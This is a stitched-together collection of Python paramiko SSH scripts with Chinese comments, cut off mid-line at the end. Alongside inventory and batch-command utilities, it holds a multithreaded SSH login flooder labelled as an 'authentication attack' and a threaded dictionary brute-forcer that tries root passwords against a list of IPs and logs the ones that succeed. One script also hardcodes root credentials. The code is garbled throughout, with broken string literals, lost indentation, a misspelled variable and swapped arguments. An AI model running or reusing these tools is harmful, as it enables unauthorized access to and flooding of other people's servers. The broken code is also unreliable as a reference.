#!/usr/bin/python
# coding=utf-8
import paramiko
import re
class ssh_test():
def __init__(self,host,passwd,username):
self.pwd = passwd
self.name = username
self.host = host
self.ssh=paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #加上这句话不用担心选yes的问题,会自动选上(用ssh连接远程主机时,第一次连接时会提示是否继续进行远程连接,选择yes)
self.ssh.connect(self.host,22,self.name,self.pwd) #连接远程主机,SSH端口号为22
def ssh_comond(self,commonds):
stdin, stdout, stderr = self.ssh.exec_command(commonds)
return stdout.readlines()
def get_proc(self):
proc_list = []
commonds = "ps -ef | grep -v grep | grep tang | awk '{print $8}'"
get_proc = self.ssh_comond(commonds)
for item in get_proc:
# item_str = item.encode('unicode-escape').decode('string_escape') #unicode 转Str
No = len(item.strip('
').split('/'))
proc_name = item.strip('
').split('/')[No-1]
proc_list.append(proc_name)
print proc_list
def get_ip(self):
ip_list=[]
commonds = "ifconfig"
get_ip = self.ssh_comond(commonds)
for item in get_ip:
if (re.findall(r'inet addr',item,re.I) and re.findall(r'Bcast',item,re.I)) :
item_str = item.encode('unicode-escape').decode('string_escape')
ip_list.append(item_str.split('Bcast')[0].split(':')[1])
print "
获取到的IP地址为:
",ip_list
#
def get_dpkg(self):
dpkg= {}
dpkg_list = []
commonds = "dpkg -l | grep TANG | awk '{print $2, $3}'"
get_dpkg = self.ssh_comond(commonds)
print "
This is DPKG_NAME DPKG:
"
for item in get_dpkg:
item_str = item.encode('unicode-escape').decode('string_escape')
dpkg[item_str.split()[0]] = item_str.split()[1]
# print dpkg
for key in dpkg:
dpkg_list.append(key)
print dpkg_list
# print dpkg
def get_hostname(self):
commonds = 'hostname'
get_hostname = self.ssh_comond(commonds)[0]
return get_hostname.strip('
')
def get_sys_version(self):
commonds = 'lsb_release -a'
get_sys_version = self.ssh_comond(commonds)
# print get_sys_version
print "
This is sys_info:
"
for item in get_sys_version:
print item.strip('
')
def get_crontab(self):
commonds = 'cat /etc/crontab'
get_crontab = self.ssh_comond(commonds)
print "
crontab list is :
"
for item in get_crontab:
item_str = item.encode('unicode-escape').decode('string_escape')
if ((item_str[0].isdigit()) or (item_str[0] == '*')):
print item_str.strip('
')
def get_mount(self):
commonds = 'mount'
get_mount = self.ssh_comond(commonds)
print "
This is Mount list :
"
for item in get_mount:
item_str = item.encode('unicode-escape').decode('string_escape')
if ((item_str[0].isdigit()) or (item_str[0] == '*')):
print item_str.strip('
')
def get_ha(self):
commonds = 'ps -ef |grep heartbeat'
get_ha = self.ssh_comond(commonds)
print "
This is HeartBeat_Proc :
"
for item in get_ha:
item_str = item.encode('unicode-escape').decode('string_escape')
print item_str.split('?')[1][16:].strip('
')
def get_ef(self):
commonds = 'ps -ef '
get_ha = self.ssh_comond(commonds)
print "
All_proc is :
"
for item in get_ha:
if ((re.findall(r'[',item,re.I)) or (re.findall(r'heartbeat',item,re.I) )):
continue
elif re.findall(r'?',item,re.I):
# print item
item_str = item.encode('unicode-escape').decode('string_escape')
if len(item_str.split('?')[1][16:].strip('
')) > 30:
print item_str.split('?')[1][16:].strip('
')
def Get_All_Ef(self):
All_EF=[]
commonds = 'ps -A '
Get_All_Ef = self.ssh_comond(commonds)
print "
All_proc is :
"
for item in Get_All_Ef:
# print item
item_str = item.encode('unicode-escape').decode('string_escape')
# print item_str.split(' ')
Proc_Name= item_str.split(' ')[-1].strip('
')
# print Proc_Name
if ((Proc_Name == 'CMD') or (re.findall(r'<',Proc_Name,re.I)) or (Proc_Name == 'init') or (Proc_Name == 'ps') or (Proc_Name == 'top') or (Proc_Name == 'bash') or (Proc_Name == 'ssh') ):
continue
else:
if re.findall(r'/',Proc_Name,re.I):
# print Proc_Name.split('/')[0]
All_EF.append(Proc_Name.split('/')[0])
else:
All_EF.append(Proc_Name)
print {}.fromkeys(All_EF).keys() #list去重
def closed (self):
self.ssh.close()
if __name__ == '__main__':
ip_tmp = '192.168.1.'
Mr_hosts =['1','2','3','4','5','6']
passwd = 'username'
username = 'password'
for host in Mr_hsot:
host = ip_tmp +host
ssh = ssh_test(host,passwd,username)
print '
',host,ssh.get_hostname()
ssh.get_ip()
ssh.get_dpkg()
ssh.Get_All_Ef()
# ssh.get_ef()
ssh.get_sys_version()
ssh.get_crontab()
ssh.get_mount()
ssh.get_ha()
ssh.closed()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import paramiko
def run(host_ip, username, password, command):
ssh = paramiko.SSHClient()
try:
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host_ip, 22, username, password)
print('===================exec on [%s]=====================' % host_ip)
print(ssh.exec_command(command, timeout=300)[1].read())
except Exception as ex:
print('error, host is [%s], msg is [%s]' % (host_ip, ex.message))
finally:
ssh.close()
if __name__ == '__main__':
# 将需要批量执行命令的host ip地址填到这里
# eg: host_ip_list = ['192.168.1.2', '192.168.1.3']
host_ip_list = ['ip1', 'ip2']
for _host_ip in host_ip_list:
# 用户名,密码,执行的命令填到这里
# eg: run(_host_ip, 'root', 'root123', 'yum install -y redis')
run(_host_ip, 'your_username', 'your_password', 'your command')
# -*- coding: utf-8 -*-
import paramiko
import threading
import time
lt = []
def ssh(a,xh,sp):
count = 0
for i in range(0,xh):
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('ip地址',22,'用户名', '密码')
ssh.close()
print u"线程[%s]第[%s]次登录"%(a,i)
if sp != 0:
time.sleep(sp)
count += 1
except:
print u"线程异常,已处理"
lt.append(count)
if __name__ == "__main__":
figlet = '''
_____ _____ _
| ___| | _ | |
| |__ | |_| | | |
| __| | _ { | |
| | | |_| | | |
|_| |_____/ |_|
Code by FBI.
'''
print figlet
print u"认证攻击次数=线程数*每个线程认证攻击次数"
print u"请输入线程数:"
xc = raw_input()
print u"请输入每个线程攻击次数:"
xh = raw_input()
print u"请输入每个线程延迟时间(秒),0为不休眠:"
sp = raw_input()
try:
print u"预计总共发送认证攻击%s次"%(int(xc)*int(xh))
threads = []
for j in range(int(xc)):
threads.append(threading.Thread(target=ssh,args=(j,int(xh),int(sp),)))
for t in threads:
t.start()
print t.name
t.join()
print lt
count = 0
for count in lt:
count += count
print u"程序执行完毕总共发送认证攻击【%s】次" % count
except ValueError,e:
print u"因为输入不规范导致程序出现错误,请输入数字"
#!/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko,threading,sys,time,os
class SSHThread(threading.Thread):
def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.dict = dic
self.timeout = timeout
self.LogFile = LogFile
def run(self):
print("Start try ssh => %s" % self.ip)
username = "root"
try:
password = open(self.dict).read().split('
')
except:
print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
print("
IP => %s, Login %s => %s
" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s
" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
break
except:
print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start()
def main(ipFile, dic, log):
if ipFile == "-h":
help()
try:
ipText = open(ipFile).read().split('
')
for ip in ipText:
if ip != '':
time.sleep(0.5)
threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
except:
print("Open IP list file `%s` error" % ipFile)
exit(1)
def help():
print("python ssh.scan.py 使用说明:
python ssh.scan.py ip_file_path dict_file_path ssh_log_path
")
exit(1)
if __name__ == '__main__':
fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip"
dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:
exit(1)
#!/usr/bin/env python
#coding=utf-8
import paramiko
import time,datetime,threading
def ssh(ip,user,passwd,command):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip,port=16333,username=user,password=passwd)
except paramiko.AuthenticationException:
#print "验证失败,用户名或密码错误."
return 0
except:
#print 'ip',"主机不可达。"
return 2
stdin, stdout, stderr = ssh.exec_command(command)
lines = [line.strip() for line in stdout.readlines()]
data_include_firstline = "".join(lines)
data_no_firstline = "".join(lines[1:])
return data_include_firstline
def sshcmd(src,linerange):
i = 0
for line in open(src):
i += 1
if i in range(linerange[0],linerange[1]+1):
ip = line.strip()
user = 'root'
port = 16333
passwd = '123qwe'
command = 'hostname'
result = ssh(ip,user,passwd,command)
if result == 0:
result = '验证失败,用户名或密码错误.'
elif result == 2:
result = '主机不可达.'
print i,ip,result
def main(num,src):
global count, mutex
linesum = sum(1 for line in open(src))
quotient = linesum/num
threads = []
# 创建一个锁
mutex = threading.Lock()
# 先创建线程对象
for k in xrange(1, num+1):
if k == num:
linerange = quotient*(k-1)+1,linesum
else:
linerange = quotient*(k-1)+1,quotient*k
threads.append(threading.Thread(target=sshcmd, args=(src,linerange)))
# 启动所有线程
for t in threads:
t.start()
# 主线程中等待所有子线程退出
for t in threads:
t.join()
starttime = datetime.datetime.now()
if __name__ == '__main__':
# 创建10个线程
main(10,'ip.txt')
endtime = datetime.datetime.now()
print "time span",endtime-starttime
#!/usr/bin/python
#coding:utf-8
import paramiko
import sys
import datetime
import threading
import Queue
import getopt
def usage():
print """
-h,-H,--help 帮助页面
-C, --cmd 执行命令模式
-M, --command 执行具体命令
-S, --sendfile 传输文件模式
-L, --localpath 本地文件路径
-R, --remotepath 远程服务器路径
IP列表格式:
IP地址 用户名 密码 端口
192.168.1.1 root 123456 22
e.g.
批量执行命令格式: -C "IP列表" -M '执行的命令'
批量传送文件: -S "IP列表" -L "本地文件路径" -R "远程文件路径"
错误日志文件:$PWD/ssh_errors.log
"""
def ssh(queue_get,cmd):
try:
hostip=queue_get[0]
username=queue_get[1]
password=queue_get[2]
port=queue_get[3]
s=paramiko.SSHClient()
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(hostname=hostip,port=port,username=username, password=password)
stdin,stdout,stderr=s.exec_command(cmd)
print "